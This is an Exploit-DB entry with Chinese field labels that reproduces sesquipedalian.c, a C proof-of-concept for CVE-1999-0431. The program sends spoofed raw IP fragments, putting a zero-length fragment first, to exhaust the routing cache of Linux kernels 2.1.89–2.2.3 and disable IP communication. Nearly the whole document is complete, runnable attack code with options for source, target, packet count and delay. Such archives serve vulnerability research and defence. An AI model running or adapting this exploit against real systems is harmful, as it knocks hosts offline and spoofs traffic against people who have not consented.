标题: Linux Kernel 2.1.89/2.2.x - Zero-Length Fragment EDB-ID: 20566 CVE: 1999-0431 类型: DOS 平台: LINUX 发布日期: 1997-12-08 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/2247/info

Linux kernel versions 2.1.89 to 2.2.3 are vulnerable to a denial of service attack caused when a 0-length IP fragment is received, if it is the first fragment in the list. Several thousands 0-length packets must be sent in order for this to initiate a denial of service against the target. 
*/

/*
 * sesquipedalian.c - Demonstrates a DoS bug in Linux 2.1.89 - 2.2.3
 *
 * by horizon <jmcdonal@unf.edu>
 *
 * This sends a series of IP fragments such that a 0 length fragment is first
 * in the fragment list. This causes a reference count on the cached routing
 * information for that packet's originator to be incremented one extra time.
 * This makes it impossible for the kernel to deallocate the destination entry
 * and remove it from the cache.
 *
 * If we send enough fragments such that there are at least 4096 stranded
 * dst cache entries, then the target machine will no longer be able to
 * allocate new cache entries, and IP communication will be effectively
 * disabled. You will need to set the delay such that packets are not being
 * dropped, and you will probably need to let the program run for a few
 * minutes to have the full effect. This was written for OpenBSD and Linux.
 *
 * Thanks to vacuum, colonwq, duke, rclocal, sygma, and antilove for testing.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

struct my_ip_header
{
 unsigned char  ip_hl:4,         /* header length */
  ip_v:4;               /* version */
 unsigned char  ip_tos;          /* type of service */
 unsigned short ip_len;          /* total length */
 unsigned short ip_id;           /* identification */
 unsigned short ip_off;          /* fragment offset field */
#define IP_RF 0x8000                    /* reserved fragment flag */
#define IP_DF 0x4000                    /* dont fragment flag */
#define IP_MF 0x2000                    /* more fragments flag */
#define IP_OFFMASK 0x1fff               /* mask for fragmenting bits */
 unsigned char  ip_ttl;          /* time to live */
 unsigned char  ip_p;                    /* protocol */
 unsigned short ip_sum;          /* checksum */
 unsigned long ip_src, ip_dst; /* source and dest address */
};

struct my_udp_header
{
 unsigned short uh_sport;
 unsigned short uh_dport;
 unsigned short uh_ulen;
 unsigned short uh_sum;
};

#define IHLEN (sizeof (struct my_ip_header))
#define UHLEN (sizeof (struct my_udp_header))

#ifdef __OpenBSD__
#define EXTRA 8
#else
#define EXTRA 0
#endif

unsigned short checksum(unsigned short *data,unsigned short length)
{
        register long value;
        u_short i;

        for(i=0;i<(length>>1);i++)
                value+=data[i];

        if((length&1)==1)
                value+=(data[i]<<8);

        value=(value&65535)+(value>>16);

        return(~value);
}

unsigned long resolve( char *hostname)
{
 long result;
 struct hostent *hp;

 if ((result=inet_addr(hostname))==-1)
 {
  if ((hp=gethostbyname(hostname))==0)
  {
   fprintf(stderr,"Can't resolve target.\n");
   exit(1);
  }
  bcopy(hp->h_addr,&result,4);
 }
 return result;
}

void usage(void)
{
 fprintf(stderr,"usage: ./sqpd [-s sport] [-d dport] [-n count] [-u delay] source target\n");
 exit(0);
}


void sendem(int s, unsigned long source, unsigned long dest,
  unsigned short sport, unsigned short dport)
{
 static char buffer[8192];
 struct my_ip_header *ip;
 struct my_udp_header *udp;
 struct sockaddr_in sa;

 bzero(&sa,sizeof(struct sockaddr_in));
 sa.sin_family=AF_INET;
 sa.sin_port=htons(sport);
 sa.sin_addr.s_addr=dest;

 bzero(buffer,IHLEN+32);
 
 ip=(struct my_ip_header *)buffer;
 udp=(struct my_udp_header *)&(buffer[IHLEN]);

 ip->ip_v = 4;
 ip->ip_hl = IHLEN >>2;
 ip->ip_tos = 0;
 ip->ip_id = htons(random() & 0xFFFF);
 ip->ip_ttl = 142;
 ip->ip_p = IPPROTO_UDP;
 ip->ip_src = source;
 ip->ip_dst = dest;
 udp->uh_sport = htons(sport);
 udp->uh_dport = htons(dport);
 udp->uh_ulen = htons(64-UHLEN);
 udp->uh_sum = 0;

 /* Our first fragment will have an offset of 0, and be 32 bytes
    long. This gets added as the only element in the fragment
    list. */

 ip->ip_len = htons(IHLEN+32);
 ip->ip_off = htons(IP_MF);
 ip->ip_sum = 0;
 ip->ip_sum = checksum((u_short *)buffer,IHLEN+32);

 if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
 {
  perror("sendto");
  exit(1);
 }

 /* Our second fragment will have an offset of 0, and a 0 length.
    This gets added to the list before our previous fragment,
    making it first in line. */

 ip->ip_len = htons(IHLEN);
 ip->ip_off = htons(IP_MF);
 ip->ip_sum = 0;
 ip->ip_sum = checksum((u_short *)buffer,IHLEN);

 if (sendto(s,buffer,IHLEN+EXTRA,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
 {
  perror("sendto");
  exit(1);
 }

 /* Our third and final frag has an offset of 4 (32 bytes), and a
    length of 32 bytes. This passes our three frags up to ip_glue. */

 ip->ip_len = htons(IHLEN+32);
 ip->ip_off = htons(32/8);
 ip->ip_sum = 0;
 ip->ip_sum = checksum((u_short *)buffer,IHLEN+32);

 if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
 {
  perror("sendto");
  exit(1);
 }
}

int main(int argc, char **argv)
{
 int sock;
 int on=1,i;
 unsigned long source, dest;
 unsigned short sport=53, dport=16384;
 int delay=20000, count=15000;

 if (argc<3)
  usage(); 

 while ((i=getopt(argc,argv,"s:d:n:u:"))!=-1)
 {
  switch (i)
  {
   case 's': sport=atoi(optarg);
      break;
   case 'd': dport=atoi(optarg);
      break;
   case 'n': count=atoi(optarg);
      break;
   case 'u': delay=atoi(optarg);
      break;
   default:  usage();
  }
 }
 
 argc-=optind;
 argv+=optind;

 source=resolve(argv[0]);
        dest=resolve(argv[1]);

 srandom(time((time_t)0)*getpid());

 if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
 {
  perror("socket");
  exit(1);
 }

 if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0)
 {
  perror("setsockopt: IP_HDRINCL");
  exit(1);
 }

 fprintf(stdout,"\nStarting attack on %s ...",argv[1]);

 for (i=0; i<count; i++)
 {
  sendem(sock,source+htonl(i),dest,sport,dport);
  if (!(i%2))
   usleep(delay);
  if (!(i%100))
  {
   if (!(i%2000))
    fprintf(stdout,"\n");
   fprintf(stdout,".");
   fflush(stdout);
  }
 }

 fprintf(stdout,"\nDone.\n");
 exit(1);
} URL: https://www.exploit-db.com/exploits/20566